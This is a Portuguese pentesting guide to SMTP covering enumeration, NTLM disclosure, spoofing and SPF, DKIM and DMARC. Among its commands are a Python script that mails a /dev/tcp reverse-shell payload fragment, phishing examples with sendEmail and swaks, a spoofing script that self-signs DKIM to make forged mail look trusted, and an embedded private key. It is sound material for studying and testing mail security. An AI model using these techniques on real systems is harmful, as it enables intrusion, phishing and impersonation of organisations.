# 25,465,587 - Pentesting SMTP/s

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**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir. {% embed url="https://pentest-tools.com/" %} ## **Informações Básicas** **SMTP (Simple Mail Transfer Protocol)** é um protocolo TCP/IP usado para **enviar** e receber **e-mails**. No entanto, como é limitado em sua capacidade de enfileirar mensagens no destino, geralmente é usado com um dos outros dois protocolos, POP3 ou IMAP, que permitem ao usuário salvar mensagens em uma caixa de correio do servidor e baixá-las periodicamente do servidor. Em outras palavras, **os usuários geralmente usam** um programa que usa **SMTP para enviar e-mails** e **POP3 ou IMAP para receber** e-mails. Em sistemas baseados em Unix, **sendmail** é o servidor SMTP mais amplamente utilizado para e-mails. Um pacote comercial, Sendmail, inclui um servidor POP3. **Microsoft Exchange** inclui um servidor SMTP e também pode ser configurado para incluir suporte POP3.\ De [aqui](https://whatis.techtarget.com/definition/SMTP-Simple-Mail-Transfer-Protocol). **Porta padrão:** 25,465(ssl),587(ssl) ``` PORT STATE SERVICE REASON VERSION 25/tcp open smtp syn-ack Microsoft ESMTP 6.0.3790.3959 ``` ### Cabeçalhos de EMAIL Se tiver a oportunidade de **fazer a vítima enviar-lhe um email** (através do formulário de contato da página da web, por exemplo), faça-o porque **poderá aprender sobre a topologia interna** da vítima ao ver os cabeçalhos do email. Também pode obter um email de um servidor SMTP tentando **enviar para esse servidor um email para um endereço inexistente** (porque o servidor enviará ao atacante um email NDN). No entanto, certifique-se de enviar o email de um endereço permitido (verifique a política SPF) e de que pode receber mensagens NDN. Também deve tentar **enviar conteúdos diferentes porque pode encontrar informações mais interessantes** nos cabeçalhos como: `X-Virus-Scanned: by av.domain.com`\ Deve enviar o arquivo de teste EICAR.\ Detectar o **AV** pode permitir que explore **vulnerabilidades conhecidas.** ## Ações Básicas ### **Banner Grabbing/Conexão Básica** **SMTP:** ```bash nc -vn 25 ``` **SMTPS**: SMTPS (Simple Mail Transfer Protocol Secure) é uma extensão do protocolo SMTP que adiciona uma camada de segurança usando SSL/TLS para criptografar a comunicação entre o cliente de email e o servidor de email. ```bash openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587 ``` ### Encontrando servidores MX de uma organização ```bash dig +short mx google.com ``` ### Enumeração ```bash nmap -p25 --script smtp-commands 10.10.10.10 nmap -p25 --script smtp-open-relay 10.10.10.10 -v ``` ### NTLM Auth - Divulgação de informações Se o servidor suporta autenticação NTLM (Windows) você pode obter informações sensíveis (versões). Mais informações [**aqui**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666). ```bash root@kali: telnet example.com 587 220 example.com SMTP Server Banner >> HELO 250 example.com Hello [x.x.x.x] >> AUTH NTLM 334 NTLM supported >> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA= 334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA ``` Ou **automatize** isso com o plugin **nmap** `smtp-ntlm-info.nse` ### Nome do servidor interno - Divulgação de informações Alguns servidores SMTP completam automaticamente o endereço do remetente quando o comando "MAIL FROM" é emitido sem um endereço completo, divulgando seu nome interno: ``` 220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200 EHLO all 250-somedomain.com Hello [x.x.x.x] 250-TURN 250-SIZE 52428800 250-ETRN 250-PIPELINING 250-DSN 250-ENHANCEDSTATUSCODES 250-8bitmime 250-BINARYMIME 250-CHUNKING 250-VRFY 250 OK MAIL FROM: me 250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK ``` ### Sniffing Verifique se você consegue capturar alguma senha dos pacotes para a porta 25 ### [Bruteforce de Autenticação](../../generic-methodologies-and-resources/brute-force.md#smtp) ## Enumeração de Bruteforce de Nome de Usuário **A autenticação nem sempre é necessária** ### RCPT TO ```bash $ telnet 1.1.1.1 25 Trying 1.1.1.1... Connected to 1.1.1.1. Escape character is '^]'. 220 myhost ESMTP Sendmail 8.9.3 HELO x 250 myhost Hello 18.28.38.48, pleased to meet you MAIL FROM:example@domain.com 250 2.1.0 example@domain.com... Sender ok RCPT TO:test 550 5.1.1 test... User unknown RCPT TO:admin 550 5.1.1 admin... User unknown RCPT TO:ed 250 2.1.5 ed... Recipient ok ``` ### VRFY VRFY (Verify) é um comando SMTP que é usado para verificar se um usuário específico existe em um servidor de e-mail. Esse comando pode ser explorado por atacantes para obter informações sobre usuários válidos em um domínio, o que pode ser útil para futuros ataques de engenharia social ou phishing. É altamente recomendado desabilitar o comando VRFY para evitar vazamento de informações sensíveis. ```bash $ telnet 1.1.1.1 25 Trying 1.1.1.1... Connected to 1.1.1.1. Escape character is '^]'. 220 myhost ESMTP Sendmail 8.9.3 HELO 501 HELO requires domain address HELO x 250 myhost Hello 18.28.38.48, pleased to meet you VRFY root 250 Super-User root@myhost VRFY blah 550 blah... User unknown ``` ### EXPN O comando `EXPN` é usado para verificar se um endereço de e-mail específico é válido e para expandir uma lista de discussão. Este comando pode revelar informações sobre os usuários e endereços de e-mail válidos em um servidor SMTP. No entanto, muitos servidores SMTP desativam esse comando devido a preocupações com privacidade e segurança. ```bash $ telnet 1.1.1.1 25 Trying 1.1.1.1... Connected to 1.1.1.1. Escape character is '^]'. 220 myhost ESMTP Sendmail 8.9.3 HELO 501 HELO requires domain address HELO x EXPN test 550 5.1.1 test... User unknown EXPN root 250 2.1.5 ed.williams@myhost EXPN sshd 250 2.1.5 sshd privsep sshd@myhost ``` ### Ferramentas automáticas ``` Metasploit: auxiliary/scanner/smtp/smtp_enum smtp-user-enum: smtp-user-enum -M -u -t Nmap: nmap --script smtp-enum-users ```

**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir. {% embed url="https://pentest-tools.com/" %} ## Relatórios DSN **Relatórios de Notificação de Status de Entrega**: Se você enviar um **e-mail** para uma organização com um **endereço inválido**, a organização notificará que o endereço estava inválido enviando um **e-mail de volta para você**. **Cabeçalhos** do e-mail retornado irão **conter** possíveis **informações sensíveis** (como endereço IP dos serviços de e-mail que interagiram com os relatórios ou informações de software antivírus). ## [Comandos](smtp-commands.md) ### Enviando um e-mail a partir do console do Linux ``` root@kali:~# sendEmail -t itdept@victim.com -f techsupport@bestcomputers.com -s 192.168.8.131 -u Important Upgrade Instructions -a /tmp/BestComputers-UpgradeInstructions.pdf Reading message body from STDIN because the '-m' option was not used. If you are manually typing in a message: - First line must be received within 60 seconds. - End manual input with a CTRL-D on its own line. IT Dept, We are sending this important file to all our customers. It contains very important instructions for upgrading and securing your software. Please read and let us know if you have any problems. Sincerely, ``` ```bash swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197 ``` ### Enviando um Email com Python Aqui está uma maneira alternativa de enviar um email com um script em python ```python from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText import smtplib import sys lhost = "127.0.0.1" lport = 443 rhost = "192.168.1.1" rport = 25 # 489,587 # create message object instance msg = MIMEMultipart() # setup the parameters of the message password = "" msg['From'] = "attacker@local" msg['To'] = "victim@local" msg['Subject'] = "This is not a drill!" # payload message = ("& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport)) print("[*] Payload is generated : %s" % message) msg.attach(MIMEText(message, 'plain')) server = smtplib.SMTP(host=rhost,port=rport) if server.noop()[0] != 250: print("[-]Connection Error") exit() server.starttls() # Uncomment if log-in with authencation # server.login(msg['From'], password) server.sendmail(msg['From'], msg['To'], msg.as_string()) server.quit() print("[***]successfully sent email to %s:" % (msg['To'])) ``` ## Contramedidas de Spoofing de E-mail As organizações são impedidas de ter e-mails não autorizados enviados em seu nome ao empregar **SPF**, **DKIM** e **DMARC** devido à facilidade de spoofing de mensagens SMTP. Um **guia completo dessas contramedidas** está disponível em [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/). ### SPF {% hint style="danger" %} O SPF [foi "descontinuado" em 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Isso significa que, em vez de criar um registro **TXT** em `_spf.domain.com`, você o cria em `domain.com` usando a **mesma sintaxe**.\ Além disso, para reutilizar registros SPF anteriores, é bastante comum encontrar algo como `"v=spf1 include:_spf.google.com ~all"` {% endhint %} O **Sender Policy Framework** (SPF) é um mecanismo que permite aos Agentes de Transferência de E-mail (MTAs) verificar se um host que envia um e-mail está autorizado, consultando uma lista de servidores de e-mail autorizados definidos pelas organizações. Esta lista, que especifica endereços IP/faixas, domínios e outras entidades **autorizadas a enviar e-mails em nome de um nome de domínio**, inclui vários "**Mecanismos**" no registro SPF. #### Mecanismos | Mecanismo | Descrição | | --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | ALL | Sempre corresponde; usado para um resultado padrão como `-all` para todos os IPs não correspondidos pelos mecanismos anteriores. | | A | Se o nome de domínio tiver um registro de endereço (A ou AAAA) que possa ser resolvido para o endereço do remetente, corresponderá. | | IP4 | Se o remetente estiver em uma determinada faixa de endereços IPv4, corresponderá. | | IP6 | Se o remetente estiver em uma determinada faixa de endereços IPv6, corresponderá. | | MX | Se o nome de domínio tiver um registro MX que resolva para o endereço do remetente, corresponderá (ou seja, o e-mail vem de um dos servidores de e-mail de entrada do domínio). | | PTR | Se o nome de domínio (registro PTR) para o endereço do cliente estiver no domínio fornecido e esse nome de domínio resolver para o endereço do cliente (DNS reverso confirmado para frente), corresponderá. Esse mecanismo é desencorajado e deve ser evitado, se possível. | | EXISTS | Se o nome de domínio fornecido resolver para qualquer endereço, corresponderá (não importa o endereço para o qual ele resolva). Isso é raramente usado. Juntamente com a linguagem macro SPF, oferece correspondências mais complexas como consultas DNSBL. | | INCLUDE | Faz referência à política de outro domínio. Se a política desse domínio passar, este mecanismo passará. No entanto, se a política incluída falhar, o processamento continuará. Para delegar totalmente para a política de outro domínio, a extensão de redirecionamento deve ser usada. | | REDIRECT |

Um redirecionamento é um apontador para outro nome de domínio que hospeda uma política SPF, permitindo que vários domínios compartilhem a mesma política SPF. É útil ao trabalhar com uma grande quantidade de domínios que compartilham a mesma infraestrutura de e-mail.

A política SPF do domínio indicado no Mecanismo de redirecionamento será usada.

| Também é possível identificar **Qualificadores** que indicam **o que deve ser feito se um mecanismo for correspondido**. Por padrão, o **qualificador "+"** é usado (então se algum mecanismo for correspondido, isso significa que é permitido).\ Geralmente, você notará **no final de cada política SPF** algo como: **\~all** ou **-all**. Isso é usado para indicar que **se o remetente não corresponder a nenhuma política SPF, você deve marcar o e-mail como não confiável (\~) ou rejeitar (-) o e-mail.** #### Qualificadores Cada mecanismo dentro da política pode ser prefixado por um dos quatro qualificadores para definir o resultado pretendido: * **`+`**: Corresponde a um resultado PASS. Por padrão, os mecanismos assumem este qualificador, tornando `+mx` equivalente a `mx`. * **`?`**: Representa um resultado NEUTRO, tratado de forma semelhante a NENHUM (nenhuma política específica). * **`~`**: Denota SOFTFAIL, servindo como um meio-termo entre NEUTRO e FALHA. E-mails que atendem a este resultado geralmente são aceitos, mas marcados de acordo. * **`-`**: Indica FALHA, sugerindo que o e-mail deve ser rejeitado diretamente. No exemplo a seguir, a **política SPF do google.com** é ilustrada. Observe a inclusão de políticas SPF de diferentes domínios dentro da primeira política SPF: ```shell-session dig txt google.com | grep spf google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all" dig txt _spf.google.com | grep spf ; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com ;_spf.google.com. IN TXT _spf.google.com. 235 IN TXT "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all" dig txt _netblocks.google.com | grep spf _netblocks.google.com. 1606 IN TXT "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all" dig txt _netblocks2.google.com | grep spf _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all" dig txt _netblocks3.google.com | grep spf _netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all" ``` Tradicionalmente era possível falsificar qualquer nome de domínio que não tivesse um registro SPF correto/qualquer. **Hoje em dia**, se um **e-mail** vem de um **domínio sem um registro SPF válido**, provavelmente será **rejeitado/marcado como não confiável automaticamente**. Para verificar o SPF de um domínio, você pode usar ferramentas online como: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html) ### DKIM (DomainKeys Identified Mail) O DKIM é utilizado para assinar e-mails de saída, permitindo sua validação por Agentes de Transferência de E-mail (MTAs) externos por meio da recuperação da chave pública do domínio no DNS. Esta chave pública está localizada em um registro TXT do domínio. Para acessar essa chave, é necessário conhecer tanto o seletor quanto o nome de domínio. Por exemplo, para solicitar a chave, o nome de domínio e o seletor são essenciais. Estes podem ser encontrados no cabeçalho do e-mail `DKIM-Signature`, por exemplo, `d=gmail.com;s=20120113`. Um comando para buscar estas informações pode se parecer com: ```bash dig 20120113._domainkey.gmail.com TXT | grep p= # This command would return something like: 20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3 ``` ### DMARC (Domain-based Message Authentication, Reporting & Conformance) O DMARC melhora a segurança de e-mails baseando-se nos protocolos SPF e DKIM. Ele define políticas que orientam os servidores de e-mail no tratamento de e-mails de um domínio específico, incluindo como lidar com falhas de autenticação e para onde enviar relatórios sobre ações de processamento de e-mails. **Para obter o registro DMARC, você precisa consultar o subdomínio \_dmarc** ```bash # Reject dig _dmarc.facebook.com txt | grep DMARC _dmarc.facebook.com. 3600 IN TXT "v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100" # Quarantine dig _dmarc.google.com txt | grep DMARC _dmarc.google.com. 300 IN TXT "v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com" # None dig _dmarc.bing.com txt | grep DMARC _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;" ``` #### Tags do DMARC | Nome da Tag | Propósito | Exemplo | | ----------- | ---------------------------------------------- | ------------------------------- | | v | Versão do protocolo | v=DMARC1 | | pct | Percentual de mensagens sujeitas a filtragem | pct=20 | | ruf | URI de relatório para relatórios forenses | ruf=mailto:authfail@example.com | | rua | URI de relatório de relatórios agregados | rua=mailto:aggrep@example.com | | p | Política para o domínio organizacional | p=quarantine | | sp | Política para subdomínios do DO | sp=reject | | adkim | Modo de alinhamento para DKIM | adkim=s | | aspf | Modo de alinhamento para SPF | aspf=r | ### **E quanto aos Subdomínios?** **De** [**aqui**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\ Você precisa ter registros SPF separados para cada subdomínio do qual deseja enviar e-mails.\ O seguinte foi originalmente postado em openspf.org, que costumava ser um ótimo recurso para esse tipo de coisa. > A Questão do Demônio: E quanto aos subdomínios? > > Se eu receber um e-mail de pielovers.demon.co.uk e não houver dados SPF para pielovers, devo voltar um nível e testar o SPF para demon.co.uk? Não. Cada subdomínio no Demon é um cliente diferente, e cada cliente pode ter sua própria política. Não faria sentido a política do Demon se aplicar a todos os seus clientes por padrão; se o Demon quiser fazer isso, ele pode configurar registros SPF para cada subdomínio. > > Portanto, o conselho para os publicadores de SPF é o seguinte: você deve adicionar um registro SPF para cada subdomínio ou nome de host que tenha um registro A ou MX. > > Sites com registros A ou MX curinga também devem ter um registro SPF curinga, no formato: \* IN TXT "v=spf1 -all" Isso faz sentido - um subdomínio pode muito bem estar em uma localização geográfica diferente e ter uma definição SPF muito diferente. ### **Relé Aberto** O uso de um **servidor de retransmissão confiável pelo destinatário** pode ser uma estratégia para garantir que os e-mails enviados não sejam marcados como spam e alcancem seu destino pretendido. No entanto, observou-se que os administradores frequentemente não possuem um entendimento detalhado das **faixas de IP** que devem ser **permitidas**. Essa lacuna de conhecimento pode levar a configurações incorretas no servidor SMTP, uma vulnerabilidade comumente descoberta durante testes de penetração externos e internos. Para contornar esse problema e evitar interrupções inadvertidas na comunicação por e-mail com clientes potenciais e existentes, os administradores podem optar por **permitir todos os endereços IP**. Essa abordagem é refletida na configuração do servidor SMTP, onde o parâmetro `mynetworks` é configurado para permitir conexões de qualquer endereço IP: ```bash mynetworks = 0.0.0.0/0 ``` Para testar se há um relay de e-mail aberto, uma ferramenta como `nmap` pode ser utilizada. Essa ferramenta é empregada para escanear o servidor alvo em busca da possibilidade de ele funcionar como um relay aberto, o que pode ser indicado pelo script de relay aberto `smtp-open-relay`. O comando a seguir demonstra como o `nmap` é usado para escanear a porta 25 no servidor com o endereço IP 10.10.10.10, fornecendo uma saída detalhada: ```bash nmap -p 25 --script smtp-open-relay -v 10.10.10.10 ``` ```bash nmap -p25 --script smtp-open-relay 10.10.10.10 -v ``` ### **Ferramentas** * [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **Verifique as configurações erradas de SPF e DMARC** * [**https://pypi.org/project/checkdmarc/**](https://pypi.org/project/checkdmarc/) **Obtenha automaticamente as configurações de SPF e DMARC** ### Enviar E-mail Falso * [**https://www.mailsploit.com/index**](https://www.mailsploit.com/index) * [**http://www.anonymailer.net/**](http://www.anonymailer.net) * [**https://emkei.cz/**](https://emkei.cz/)\*\*\*\* **Ou você pode usar uma ferramenta:** * [**https://github.com/magichk/magicspoofing**](https://github.com/magichk/magicspoofing)\*\*\*\* ```bash # This will send a test email from test@victim.com to destination@gmail.com python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com # But you can also modify more options of the email python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com ``` {% hint style="warning" %} Se você receber algum **erro ao usar a biblioteca dkim python** para analisar a chave, sinta-se à vontade para usar a seguinte.\ **NOTA**: Esta é apenas uma correção rápida para fazer verificações rápidas em casos em que, por algum motivo, a chave privada do openssl **não pode ser analisada pelo dkim**. ``` -----BEGIN RSA PRIVATE KEY----- MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1 koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq 1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf 422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ== -----END RSA PRIVATE KEY----- ``` {% endhint %} **Ou você pode fazer manualmente:** {% tabs %} {% tab title="PHP" %}

# Isso enviará uma mensagem não assinada
mail("seu_email@gmail.com", "Assunto de Teste!", "oi! Este é um teste", "De: administrador@vitima.com");

{% endtab %} {% tab title="Python" %} ```python # Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py import os import dkim #pip3 install dkimpy import smtplib from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText from email.mime.base import MIMEBase # Set params destination="destination@gmail.com" sender="administrator@victim.com" subject="Test" message_html="""

This is a test, not a scam

""" sender_domain=sender.split("@")[1] # Prepare postfix os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf") os.system("systemctl restart postfix") # Generate DKIM keys dkim_private_key_path="dkimprivatekey.pem" os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null") with open(dkim_private_key_path) as fh: dkim_private_key = fh.read() # Generate email msg = MIMEMultipart("alternative") msg.attach(MIMEText(message_html, "html")) msg["To"] = destination msg["From"] = sender msg["Subject"] = subject headers = [b"To", b"From", b"Subject"] msg_data = msg.as_bytes() # Sign email with dkim ## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted) dkim_selector="s1" sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers) msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode() msg_data = msg.as_bytes() # Use local postfix relay to send email smtp="127.0.0.1" s = smtplib.SMTP(smtp) s.sendmail(sender, [destination], msg_data) ``` ### **Mais informações** **Encontre mais informações sobre essas proteções em** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/) ### **Outros indicadores de phishing** * Idade do domínio * Links apontando para endereços IP * Técnicas de manipulação de links * Anexos suspeitos (não comuns) * Conteúdo de e-mail corrompido * Valores utilizados diferentes dos cabeçalhos de e-mail * Existência de um certificado SSL válido e confiável * Submissão da página a sites de filtragem de conteúdo da web ## Exfiltração através do SMTP **Se você pode enviar dados via SMTP** [**leia isso**](../../generic-methodologies-and-resources/exfiltration.md#smtp)**.** ## Arquivo de configuração ### Postfix Normalmente, se instalado, em `/etc/postfix/master.cf` contém **scripts para executar** quando, por exemplo, um novo e-mail é recebido por um usuário. Por exemplo, a linha `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` significa que `/etc/postfix/filtering` será executado se um novo e-mail for recebido pelo usuário mark. Outros arquivos de configuração: ``` sendmail.cf submit.cf ``` ## Referências * [https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/](https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/) * [https://www.reddit.com/r/HowToHack/comments/101it4u/what_could_hacker_do_with_misconfigured_smtp/](https://www.reddit.com/r/HowToHack/comments/101it4u/what_could_hacker_do_with_misconfigured_smtp/) ``` Protocol_Name: SMTP #Protocol Abbreviation if there is one. Port_Number: 25,465,587 #Comma separated if there is more than one. Protocol_Description: Simple Mail Transfer Protocol #Protocol Abbreviation Spelled out Entry_1: Name: Notes Description: Notes for SMTP Note: | SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server. https://book.hacktricks.xyz/pentesting/pentesting-smtp Entry_2: Name: Banner Grab Description: Grab SMTP Banner Command: nc -vn {IP} 25 Entry_3: Name: SMTP Vuln Scan Description: SMTP Vuln Scan With Nmap Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP} Entry_4: Name: SMTP User Enum Description: Enumerate uses with smtp-user-enum Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP} Entry_5: Name: SMTPS Connect Description: Attempt to connect to SMTPS two different ways Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587 Entry_6: Name: Find MX Servers Description: Find MX servers of an organization Command: dig +short mx {Domain_Name} Entry_7: Name: Hydra Brute Force Description: Need Nothing Command: hydra -P {Big_Passwordlist} {IP} smtp -V Entry_8: Name: consolesless mfs enumeration Description: SMTP enumeration without the need to run msfconsole Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit' ```

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